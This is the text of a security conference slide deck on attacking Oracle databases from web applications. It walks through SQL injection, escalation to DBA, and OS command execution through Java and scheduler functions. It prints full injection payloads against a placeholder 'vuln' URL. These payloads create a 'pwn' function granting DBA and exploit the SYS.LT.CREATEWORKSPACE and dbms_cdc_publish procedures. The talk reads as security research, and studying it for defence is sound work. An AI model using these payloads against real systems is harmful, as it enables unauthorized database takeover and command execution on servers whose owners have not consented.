Professional Documents
Culture Documents
ASDC12-New and Improved Hacking Oracle From Web
ASDC12-New and Improved Hacking Oracle From Web
Enumerate SID
Enumerate users
Connect to Oracle
Exploit SQL injection in a procedure owned
by SYS
Become DBA
Execute OS Code
Function:
SYS.KUPP$PROC.CREATE_MASTER_PRO
CESS()
Function executes arbitrary PL/SQL
Only DBA can call this function
Executes any PL/SQL statement.
Call DBMS_scheduler to run OS code
With DBA Privileges
JAVA IO Privileges
Functions:
DBMS_JAVA.RUNJAVA()
11g R1 and R2
DBMS_JAVA_TEST.FUNCALL()
10g R2, 11g R1 and R2
Java class allowing OS code execution by
default
–oracle/aurora/util/Wrapper
JAVA IO Privileges
DEMO: OS Code Execution with
JAVA IO Permissions
So, what’s new
http://vuln/index.php?id=1 and
(select dbms_xmlquery.newcontext(‘
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate ''create or replace function
pwn return varchar2 authid current_user is PRAGMA
autonomous_transaction;BEGIN execute immediate
''''grant dba to scott'''';commit;return ''''z'''';END; '';
commit; end;‘) from dual) is not null --
Example#1 SYS.LT.
CREATEWORKSPACE (CPU April
2009)
Exploit vulnerable procedure to become DBA
http://vuln/index.php?id=1 and (select
dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute
immediate ''
begin SYS.LT.CREATEWORKSPACE(''''A10''''''''
and
scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA
CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;'';
commit; end;') from dual) is not null --
DEMO
Exploiting 11g R2
sys.dbms_cdc_publish.create_change_set
CPU: October 2010, 10gR1, 10gR2, 11g R1 and
11gR2
Exploiting 11g R2
select dbms_xmlquery.newcontext('declare
PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' begin
sys.dbms_cdc_publish.create_change_set(''''
a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s
ysdate,sysdate);end;''; commit; end;') from
dual
Indirect Privilege
Escalation
Using these functions we can call indirect
privilege escalation vectors from web apps
Become DBA from
Create ANY Trigger
CREATE ANY Procedure
CREATE ANY VIEW
Etc.....
Summary
Questions?
Contact: [email protected]
Twitter: notsosecure
Blog: www.notsosecure.com